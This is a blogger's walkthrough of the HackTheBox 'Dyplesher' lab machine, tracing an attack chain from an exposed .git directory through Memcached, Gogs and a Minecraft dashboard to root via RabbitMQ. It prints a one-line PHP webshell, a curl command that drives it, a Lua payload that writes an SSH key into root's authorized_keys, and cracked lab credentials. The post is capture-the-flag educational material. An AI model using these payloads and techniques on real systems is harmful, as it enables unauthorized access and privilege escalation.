Post cover image

October 2, 2026

HackTheBox - Dyplesher Writeup

Dyplesher is an HTB Insane-rated Linux machine that chains five independent vulnerabilities - Apache, Gogs, Memcached, RabbitMQ

By Wojtek

16 min read

Introduction

Dyplesher is a HTB "Insane"-rated Linux machine that chains five independent services — Apache, Gogs, Memcached, a custom Minecraft dashboard, and RabbitMQ — into a single privilege escalation path. What makes it worth the time is the breadth of real-world technologies packed into one attack surface.

The chain, in order: a virtual host exposes a live .git repository, collecting credentials for Memcached. Those credentials pull a set of bcrypt hashes out of Memcached, and one cracks - granting access to Gogs. There, a release artifact leads to a second, independent password hash buried in a Minecraft plugin's local database. That hash cracks too, authorizing login to the Dyplesher dashboard. The dashboard lets us upload and run Minecraft plugins, so we build a malicious plugin that drops a PHP webshell and uses it to inject an SSH key. The key gets us onto the box, where the landed user turns out to be in the wireshark group with access to packet capture. Capturing loopback traffic surfaces AMQP credentials and an operator's note describing a standing workflow: publish a plugin URL over a RabbitMQ queue, and a Cuberite server will fetch and execute it. We craft a malicious Lua script as that "plugin," publish it over AMQP, and it writes an SSH key for root on execution.

TL;DR

  • Credential leakage via .git metadata - a Gogs-branded vhost exposes a live .git directory, allowing full repository reconstruction via git-dumper
  • Memcached SASL key guessing — binary-protocol Memcached exposes no native key-listing command, so valid keys (username, password) are guessed directly via memcached-cli
  • Credential reuse across Gogs → SQLite → dashboard login — a second bcrypt hash, buried in a Minecraft plugin's local auth database inside a release artifact, cracks to the dashboard password
  • Arbitrary Minecraft plugin upload → RCE — the custom dashboard's "Add Plugin" / "Reload Plugin" workflow allows uploading and hot-loading attacker-authored .jar files with no validation, yielding code execution as the Minecraft process user
  • AMQP credential leakage via loopback packet capture — unexpected wireshark group membership permits capturing loopback traffic with tshark, recovering a plaintext AMQPLAIN login alongside other leaked passwords
  • Plugin-URL trust in Cuberite/RabbitMQ integration — a privileged consumer fetches and executes any URL published to a specific queue as a Lua plugin, with no integrity check on the source

Reconnaissance

Service Enumeration

Nmap output

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:ca:81:78:ec:27:8f:50:60:db:79:cf:97:f7:05:c0 (RSA)
| 256 e0:d7:c7:9f:f2:7f:64:0d:40:29:18:e1:a1:a0:37:5e (ECDSA)
|_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyplesher
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=f99426ca975f6318; Path=/; HttpOnly
| Set-Cookie: _csrf=UXyopnaiXb7M-y67_ZLE0u-S3Io6MTYwNDc3Mzk3ODU5NjY4MDQ3Nw%3D%3D; Path=/; Expires=Sun, 08 Nov 2020 18:32:58 GMT; HttpOnly
| Date: Sat, 07 Nov 2020 18:32:58 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl=””>
| <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8" />
| <meta http-equiv=”X-UA-Compatible” content=”IE=edge”/>
| <meta name=”author” content=”Gogs” />
| <meta name=”description” content=”Gogs is a painless self-hosted Git service” />
| <meta name=”keywords” content=”go, git, self-hosted, gogs”>
| <meta name=”referrer” content=”no-referrer” />
| <meta name=”_csrf” content=”UXyopnaiXb7M-y67_ZLE0u-S3Io6MTYwNDc3Mzk3ODU5NjY4MDQ3Nw==” />
| <meta name=”_suburl” content=”” />
| <meta proper
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=404c6c132cc5947f; Path=/; HttpOnly
| Set-Cookie: _csrf=KJZam_AFZV75c16xxc7ZfVf2lK46MTYwNDc3Mzk4Mzg4MTA4ODI4MA%3D%3D; Path=/; Expires=Sun, 08 Nov 2020 18:33:03 GMT; HttpOnly
| Date: Sat, 07 Nov 2020 18:33:03 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl=””>
| <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8" />
| <meta http-equiv=”X-UA-Compatible” content=”IE=edge”/>
| <meta name=”author” content=”Gogs” />
| <meta name=”description” content=”Gogs is a painless self-hosted Git service” />
| <meta name=”keywords” content=”go, git, self-hosted, gogs”>
| <meta name=”referrer” content=”no-referrer” />
| <meta name=”_csrf” content=”KJZam_AFZV75c16xxc7ZfVf2lK46MTYwNDc3Mzk4Mzg4MTA4ODI4MA==” />
| <meta name=”_suburl” content=”” />
|_ <meta
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
5372/tcp filtered unknown
11211/tcp open memcache?
25562/tcp open unknown
25565/tcp open minecraft?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, LDAPSearchReq, LPDString, SIPOptions, SSLSessionReq, TLSSessionReq, afp, ms-sql-s, oracle-tns:
| ‘{“text”:”Unsupported protocol version”}
| NotesRPC:
| q{“text”:”Unsupported protocol version 0, please use one of these versions:
|_ 1.8.x, 1.9.x, 1.10.x, 1.11.x, 1.12.x”}
25672/tcp open unknown

Summary:

  • Port 22 — SSH
  • Port 80 — HTTP (main site)
  • Port 3000 — Gogs (fingerprinted via banner)
  • Port 4369 — Erlang Port Mapper Daemon (references rabbit node on 25672)
  • Port 5672/25672 — RabbitMQ / AMQP
  • Port 11211 — Memcached
  • Port 25565 — Minecraft

It seems natural to start with port 80. The HTTP service could be our signpost — on HTB-style targets the web root is where the author leaves the first breadcrumbs.

Port 80 — HTTP Service

The main site brands itself as a Minecraft server ("Worst Minecraft Server").

None

The front page also references a test.dyplesher.htb. We add both hostnames to /etc/hosts and visit those VHosts: ⦿ dyplesher.htb ⦿ test.dyplesher.htb

10.10.10.190    dyplesher.htb test.dyplesher.htb

Most links on the site are dead, so enumeration moves to /staff.

The /staff page lists three usernames - MinatoTW, felamos, yuntao - each with a Gogs icon beneath it, which redirects to http://dyplesher.htb:8080/<username>:

None

VHost — test.dyplesher.htb

After visiting dyplesher.htb, enumeration moves to test.dyplesher.htb. The site is a single form taking two inputs and comparing them:

None

ffuf against the main vhost surfaces /login, /register (redirects to /login), and /staff - a login-gated custom dashboard whose purpose isn't yet clear. Directory brute-forcing test.dyplesher.htb with gobuster returns something far more consequential:

None

Voila. A live .git directory.

Stage 1: Git Repository Exposure → Memcached Credentials

A reachable .git directory is equivalent to a full source disclosure: every commit, every file revision, and every message ever pushed to that repository is reconstructable without any authentication, because Git's object store is content-addressed and requires no server-side logic to read - only the ability to fetch individual loose objects and pack files over plain HTTP.

git-dumper automates that reconstruction by walking the exposed .git/ tree (starting from HEAD, then objects/, refs/, and the pack index) and rebuilding a working checkout locally:

None

The checkout resolves to two files. README.md is empty. index.php is not:

None

This is the server-side source behind the comparison form seen earlier. It also hardcodes a full set of Memcached SASL credentials — felamos:zxcvbnm - directly in the application logic.

It's worth confirming the credential actually authenticates and understanding what protocol we're dealing with. A quick manual probe against Memcached's plaintext port:

None

HELP returns nothing - a dead end for manual interaction. Memcached's ASCII protocol doesn't implement a HELP command, and more importantly, the setOption(Memcached::OPT_BINARY_PROTOCOL, true) call in the leaked source confirms this instance authenticates over the binary protocol, not ASCII. That distinction dictates the entire approach for Stage 2: binary-protocol Memcached with SASL enabled doesn't expose a native command to list all stored keys, so recovering data requires knowing (or brute-forcing) key names in advance - a raw telnet session can't get us there.

Stage 2: Memcached Key Brute-Force → Gogs Access

With key enumeration off the table, the cheaper move before reaching for a wordlist is trying the obvious guesses first: memcached-cli supports the binary protocol and SASL natively, unlike a raw telnet session.

Both key names guessed correctly on the first attempt, pairing three usernames with three bcrypt hashes by position:

None

John the Ripper against rockyou.txt cracks one of the three:

john passwords --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mommy1           (felamos)

felamos:mommy1 is now a candidate credential pair for every other service on the box that might accept it - starting with Gogs on port 3000, the only authenticated surface identified so far that's tied to this username.

Gogs allows open self-registration, which is useful for mapping the application's behavior before spending the cracked credential. We register a throwaway account, w0j73k, to see what an authenticated-but-unprivileged user can reach.

None

Wygląda na to, że założyliśmy nowe konto. Teraz trzeba się zalogować:)

None

Logged in as w0j73k, the dashboard's Explore tab shows an empty Repositories list. Users lists the same three accounts already identified via Memcached - MinatoTW, felamos, yuntao - but no repository content is visible for any of them from this account.

None

We should relogin using the cracked credentials to see if there are any repositories gated behind other users' accounts. This time we'll use the credentials cracked earlier:

felamos:mommy1
None None

Logging in as felamos grants access to two private repositories: gitlab and memcached. Both are invisible to any account other than their owner or a collaborator.

None

gitlab is cloned locally for inspection:

None

Stage 3: Release Artifact Analysis → Dashboard Credentials

Before inspecting the cloned contents, it's worth returning to the Gogs UI for a moment — the gitlab repository page exposes a Releases tab, and release artifacts are a common place for backup archives to end up attached as downloadable assets rather than committed history.

None

Only one release exists:

None

Repo Analysis

The release asset unpacks into a repositories/@hashed/ tree - Gogs' own on-disk sharding layout for repository storage, where each repo is stored under a two-level hash-prefix directory rather than a human-readable path:

None

Four .bundle files, one per hash-prefixed directory - each one a self-contained Git repository archive (git bundle packages every object and ref into a single portable file, restorable with git clone).

Rather than clone each one individually, we prepare a script that automates this for us:

None None

All four bundles unbundle cleanly. Listing contents recursively shows two very different repositories:

None

The first bundle (4b227777...) is unrelated plugin source - a VoteListener.py script. The second (4e074085...) is a full CraftBukkit (the modified vanilla Minecraft server that exposes the Bukkit plugin API) and Spigot (a CraftBukkit fork optimized for performance, still Bukkit-API-compatible) server directory - craftbukkit-1.8.jar, spigot-1.8.jar, world data, and a plugins/ folder. This is the Minecraft server repository referenced back on the port 80 landing page.

Inside plugins/ sits LoginSecurity - a login/authentication plugin for the Minecraft server, containing authList, config.yml, and users.db. A plugin whose entire purpose is managing user login is worth opening first.

users.db is a SQLite database. Opening it in DB Browser for SQLite and browsing the users table returns a single row:

None

Another bcrypt hash, structurally identical to the three pulled from Memcached but sitting in a completely different service's storage — a second, independent password to crack.

$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis1          (?)

alexis1 cracks cleanly

With a password in hand but no confirmed username, the main dyplesher.htb site is worth revisiting - this is where the login surface actually lives:

/login and /register are both available. Combined with the three usernames already pulled from Memcached, alexis1 gets tried against each in turn. The login succeeds with felamos / alexis1.

None

Stage 4: Minecraft Plugin RCE → Foothold

None

The application behind the login is a simple UI for managing the Minecraft instance — player stats, server console, and plugin management. Add Plugin is the functionality that immediately stands out: a web panel that accepts and loads arbitrary .jar files onto a live Bukkit-API server is a code-execution primitive by design, not by accident.

None

The server identifies itself as running Paper MC, a high-performance fork of Spigot (itself a CraftBukkit fork) — meaning it's extensible with the same Spigot plugin API already seen in the 4e074085... repository. The Delete Plugin tab lists what's currently loaded, including a plugin called PlugMan - a plugin manager that lets administrators load/unload/reload plugins without restarting the server. Spigot plugins run arbitrary JVM bytecode with the permissions of the server process, so uploading a plugin authored specifically to execute system commands is the natural next step.

Building one requires a working Spigot development environment, following the SpigotMC Maven/IntelliJ guide and the Bukkit plugin tutorial

Creating a plugin with Maven using IntelliJ IDEA Creating a blank Spigot plugin Using Maven in the IntelliJ IDE Maven is a software project management and comprehension…

Plugin Tutorial This rather large tutorial aims at getting you started with plugin development in Bukkit. It is in no way a complete…

We use Eclipse IDE for the build, starting from File → New → Java Project:

None None

We target Spigot version 1.12.2 — the latest release at the time of writing:

None None None

We create a new package named dyplesher.plugin

None None

Next, we create the main Java class.

None None None

Jeszcze tylko plugin.yml

None

The same New → File process creates pom.xml alongside it:

None None

Rather than a full reverse-shell payload, the simplest reliable option is a one-line PHP webshell dropped onto the webroot the plugin process has access to:

final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
None

The plugin is exported and uploaded through Add Plugin.

None None

Testing the resulting webshell with curl:

curl http://test.dyplesher.htb/w0j73k.php?cmd=whoami
None

The webshell works, executing as MinatoTW. Rather than continuing to drive commands through the webshell, the cleaner path forward is a proper interactive shell - dropping a public key into authorized_keys gets there directly:

None

Shell as MinatoTW

The public key lands, and SSH access as MinatoTW is confirmed:

None

With interactive shell access, the first flag is the obvious next target:

None

'locate' isn't installed, and a manual sweep of the more likely directories turns up no trace of user.txt. Rather than continue guessing at the filesystem, it's worth stepping back and enumerating the host itself - starting with what network interfaces are actually reachable from this shell:

ip link show
None

Two details stand out immediately: MinatoTW is a member of the wireshark group - unusual for a regular user account - and a Docker bridge (docker0) plus a veth pair are present on top of the expected loopback and primary interfaces, pointing to at least one containerized service running locally.

Stage 5: Loopback Packet Capture → Credential Exposure

wireshark group membership on a regular user account is a direct grant of raw packet-capture capability - tshark/dumpcap install with capabilities (or setgid) that let members of this group sniff traffic without root. Combined with the docker0/veth pair seen a moment ago, the interesting traffic isn't external - it's whatever's crossing the loopback interface between locally-run services.

None

We stop the sniffing after a while

None

After some sniffing, the capture is pulled back to the attacking machine with scp:

None

Opening capture.pcap in Wireshark, one protocol immediately stands out among the loopback noise: AMQP - the protocol RabbitMQ speaks, and the same one flagged back in the initial nmap scan on ports 5672. Right-clicking a sample AMQP packet and selecting Follow → TCP Stream reconstructs the full session:

None

The reconstructed stream contains two categories of plaintext credential material. First, the AMQP connection handshake itself — RabbitMQ's AMQPLAIN mechanism authenticates over cleartext by default, so the login exchange is fully readable:

LOGIN: yuntao
PASSWORD: EashAnicOc3Op

Second, the message body itself: a JSON payload of subscriber records being published through the broker. Buried among a list of fake/generated subscriber entries are three that map directly onto the accounts already known from Memcached:

{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bihys1amFov","subscribed":true}
{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"wagthAw4ob","subscribed":true}
{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tieb0graQueg","subscribed":true}
None

Three fresh, plaintext passwords — one per already-known username — recovered without cracking anything.

Switching User: MinatoTW → felamos

felamos:tieb0graQueg - the password just recovered from the AMQP capture - authenticates locally from the existing MinatoTW shell

su felamos
None

With a shell as felamos, the user flag is immediately accessible:

None

Stage 6: AMQP Plugin Trust Abuse → Root

Enumerating felamos's home directory turns up a yuntao subdirectory - a note left behind for another user rather than anything belonging to felamos directly.

None

The script itself does nothing functionally — it echoes text into a pseudo-tty path (/dev/pts/{}). What matters is the content: it's an operational note describing a real workflow. yuntao is expected to publish Cuberite plugin download URLs to a message queue named plugin_data, and "our new code" - presumably something running as a privileged reviewer - will fetch and load whatever URL comes through.

That's a description of exactly the kind of trust boundary AMQP message consumers get wrong: a queue consumer treating message content (here, a URL) as a legitimate, safe-to-execute plugin source with no verification of who published it or what's actually at that URL.

Cuberite plugins are written in Lua, but a full plugin isn't necessary here — a much simpler script does the job: one that copies a public key into root's /root/.ssh/authorized_keys.

Cuberite Plugin Tutorial This article will explain how to write a basic plugin. It details basic requirements for a plugin, explains how to…

GTFOBins' Lua entry documents exactly this primitive:

None

Adapted for the actual payload:

f = io.open("/root/.ssh/authorized_keys", "w")
f:write("ssh-rsa AAAAB3NzaC1yc2EAAA(...)WgHU=")
f:close()

Authentication Credentials - pika 1.1.0 documentation To authenticate with Pika, create a PlainCredentials object passing in the username and password and pass it as the…

Introduction to Pika - pika 1.1.0 documentation Edit description

RabbitMQ tutorial - "Hello world!" - RabbitMQ This tutorial assumes RabbitMQ is installed and running on localhost on the standard port (5672). In case you use a…

This gets saved as script.lua. Getting it executed means publishing its URL to the plugin_data queue using yuntao's AMQP credentials - the same yuntao:EashAnicOc3Op pair recovered from the earlier loopback capture. pika, the standard Python client for AMQP, handles the connection and publish:

None

An empty exchange with routing_key='plugin_data' publishes directly to the default exchange, which routes by queue name - equivalent to depositing the message straight into the plugin_data queue itself. The body is the URL send.sh described, and it's http://127.0.0.1:1616/script.lua - loopback, from the target's own point of view. Whatever consumes this queue runs locally on the Dyplesher box itself, so script.lua has to be served from there too - from the already-compromised MinatoTW shell, not the local Kali machine. The existing MinatoTW shell handles that:

None

With the payload served, we need to run the script on our Kali Linux machine — script.py publishes the URL over AMQP, and that's the "plugin" the review process on the other end will fetch and execute:

None

With the message published, it's a matter of waiting on the webserver for the incoming request. As expected, the server receives the hit:

None

The Cuberite-side consumer fetched script.lua and executed it as root, writing the public key to /root/.ssh/authorized_keys. All that's left in this final step is logging in over SSH as root.

None

We've reached our goal.

None

Wojtek's Security Blog Root-cause analysis and exploitation of a GitHub Actions CI/CD pipeline (Hack.lu CTF 2025). A pull_request_target…

Wojtek Chwala - Poland | Professional Profile | LinkedIn I am a growth-oriented, conscientious offensive security professional with real... · Location: Poland · 464 connections…

Wojtek Chwala (@wojtekchwala) on X I break stuff & I build stuff. Passionate about hacking and how computers work